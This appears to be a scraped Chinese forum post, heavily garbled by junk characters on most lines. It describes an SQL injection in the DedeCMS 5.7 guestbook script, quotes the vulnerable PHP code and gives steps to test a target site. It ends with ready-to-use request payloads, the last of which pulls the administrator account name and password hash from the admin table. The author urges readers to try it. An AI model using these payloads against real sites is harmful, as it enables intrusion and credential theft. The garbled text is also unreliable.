影响版本为5.7
5 B! ]3 m' B$ V: S% y1 B9 `3 \" D3 N% [+ m6 i
漏洞文件edit.inc.php具体代码:8 [7 `0 D \2 w9 K
) q' `7 w$ v) U% x! T7 h8 ^
< ?php
, E: M) f6 W6 m3 P3 D8 M% ~$ _( D: {( n/ C% P
if(!defined('DEDEINC')) exit('Request Error!'); % N; X& f5 D D! F9 r3 \
: r9 w- F& z/ v; N. k1 _2 U
+ i# M& M0 a% K# L, Q( a( j7 e4 O( \. B
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; 6 T* U0 Q1 c, r' o) Y4 ^# O9 \+ n
* @ ?5 A. w; o+ r* c% G
else $GUEST_BOOK_POS = "guestbook.php";
3 w3 i) I. O1 B3 U0 h9 ?! y g: p2 T" x8 E1 t& A
6 i" e3 X4 a) L& O# v0 w- w/ a J6 h. |$ u% M6 x
$id = intval($id);
. Y6 o0 Y- B7 f. k
6 R* t" \6 {; u! _, oif(empty($job)) $job='view';
7 U) T& K8 }/ r% H2 m6 X/ W2 e
3 }6 u9 Y9 J( L & w3 {& Z; j* D2 x% ^- Y. D
+ b6 Z3 ^9 k0 x% h
if($job=='del' && $g_isadmin) * Y P1 s3 C" W( Z& o. Q
# `' g; f8 o% p. H# @1 t! k
{
3 \. ]. r" H9 L9 G @4 H' U0 w6 R( l' d! w% u9 T# j
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
1 W+ L( Q) F; a, T1 ~4 \+ \8 r
/ i* [" w p4 W( M, K+ eShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); + [- }: i: Q! E1 Z
; P- V4 }$ q9 k+ I4 `exit(); 1 u7 o& R, |( e, p7 O, A! Z
; t9 U$ s# g1 v- e' U1 n0 C( Q- }( y6 ^} - c0 I( ~$ O7 s' M6 z
' A. a* m5 o3 L9 `/ Selse if($job=='check' && $g_isadmin) 1 w7 O5 k7 D/ `& y& d" b
" O& _ ]& j8 j$ H{ : h- G" G; p% v5 c }) N
" S# w; j' w9 c: u4 \8 f
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
6 k' r/ n( p: f# T; t* N
; m3 l) [2 D2 sShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); ; H' N! T. D6 u% G7 a
" Y) [( |6 A' Sexit();
% h5 {) J* Q9 P$ }4 m2 q8 m$ _/ j6 C' t7 f S; F( I
}
4 S6 m! s& T3 R6 \" |7 c I( F1 H& S4 K; l4 \: x# b7 I
else if($job=='editok') ) G- Q) O5 n9 ]/ q) Y+ r+ }
% U7 b0 O! j+ F' K1 x. j% K, K2 y{
' w# i0 D$ J, |! g
4 p6 B+ h( b) }2 B; Y$remsg = trim($remsg);
5 L1 x4 d' Z v8 u5 |8 R% L+ p* |# }
if($remsg!='') # w8 h* X3 O) s7 | v: O0 S
% M* k3 ]+ ]7 J$ G$ T5 E; ^2 d
{
Y4 e: D* m& m% i# W! f; X% I/ B) U7 A& _) H8 v; `8 a
//管理员回复不过滤HTML By:Errorera blog:errs.cc 2 y; S4 D3 k! U, B3 r- j9 \
9 Y5 @ t9 K* a- |0 a
if($g_isadmin)
/ u6 M, m+ G2 }6 L, P$ z
9 X& t& \' Y* e{ 0 P, O9 o9 c8 I8 C s
' u5 l, W* d1 ~4 P$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 1 [+ Y5 x4 Y6 h9 `" w
# r/ E+ f$ i! p1 P$ D* {//$remsg <br /><font color=red>管理员回复:</font> } / O. D5 u2 D6 \$ i: T" L
) y8 o# s$ b/ V6 s2 @& e
else # a6 n$ y w$ F; b) K. D
8 ]8 t/ ]$ m8 h4 S% ?
{ ) Y" J* \0 ^( T9 _+ ^
% r' P, V) }7 v9 ]& s1 k3 ]2 c$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
/ I/ e, \0 ?# h8 K2 F7 T* I& _" r5 ?
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; - f' `6 q: \0 q3 ^$ P$ ~ {
* B2 J/ }* U. t4 Z+ n$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
" {7 N+ s3 F0 l+ r) {. E, y0 [! a
I: e1 Y& g" p8 A% ?# A/ i8 G$msg = $oldmsg.$remsg;
/ t7 d, |1 x$ X( k3 M* b @. h2 L" @5 {1 x
}
& g, o: b4 K! `3 ^' n* ?7 S: B" D2 i2 g8 u0 o8 @
} ; r: `# |% T% t* D* B( V
+ Y0 k+ y, Q m
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
) P$ D- @$ h7 n- x7 i! i$ e9 Y& Q0 y- Q& @0 R
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
" @1 p- [1 }9 o; W/ u- [5 Z- ?& w8 w# a! Q+ W! P
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); # C4 |% V5 h* {2 }5 i
3 n; j7 @. K+ N0 W/ Y1 |1 J3 qexit(); + J+ G/ P% T; k
& B4 R! }" R9 c' G, O- n4 }7 n C
} 8 h: L6 j5 f% p j$ j' J8 H
1 T# _8 E1 `, A1 y5 j: V, Q//home:www.errs.cc 3 p& d6 ~) I4 @1 i5 i6 o$ J* v
9 [7 V* I+ J$ N: ]! _8 V0 X
if($g_isadmin) ; G' v' o7 U9 T1 q5 ^
. v/ j e: ^. R( z' t- P, i{
! v7 e, g3 g# v) R' L" z% T; @4 B
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); $ F5 U: N r( K
* ]+ j7 T9 Y/ _# y! Z* T
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); 5 _: |3 b) N! k9 G( U' T& Z
2 h' Q/ N/ c2 n y}
. e4 b8 s9 m/ ]- K$ ^2 b4 b3 H4 _# Y
else & \! e3 B7 R" `$ o( |' O8 R
* T2 i! Z) V7 Y
{
) S' D' H: f# n7 `1 }0 N: Q J) G% ]" s W" [
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
' n$ @7 w6 O7 E/ B/ t& c. E: z3 G- F$ c
' I3 g2 E, m. T& X: trequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
- v8 }5 D, l- j: Q1 J
# ?; z" x6 m7 a. u+ Q1 |} 漏洞成功需要条件:
( f: A1 i u0 Q3 y- Q( b7 o1. php magic_quotes_gpc=off
! ?; M; w/ S2 n, _. i5 H7 J8 H2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。1 b+ L: b5 j1 i) W$ A8 M+ e
% l+ w3 v* v/ F4 @$ O$ @怎么判断是否存在漏洞:3 i3 m5 R$ ^; |- ]/ W" w" w
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
* K6 P, O1 @! u& P( X, M然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
4 I8 N2 h2 P" f1 m! }访问:
' I5 l! i8 _; U9 ~2 F& ~- _
3 U# {! F2 v u1 K4 M+ w: { H0 jwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了 r3 r1 ]4 M# M4 Y5 ^8 @8 W
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
E/ |( B7 W3 O: c
/ @* G: z3 u7 p, `" W& ?
( q& }' F2 j1 L7 [明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, q Y8 ~4 b' Z+ B& d$ }: i9 O如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
2 y; U6 w Z2 O! `& v4 P那么再次访问6 Q3 ]' N- P0 Z6 T
. L1 z1 Y+ P* C( m, R @+ |3 kwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
" I; N4 |* ]. `5 a$ h' ?% u5 I% a
大概利用就是这样,大家有兴趣的多研究下!!4 n4 b! x3 u, s- ?2 f
5 R# t' I1 R. f# m. r最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
% |6 c! w7 l0 G7 ]( X7 F
$ a. P0 b6 l8 a, a1 N. \view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |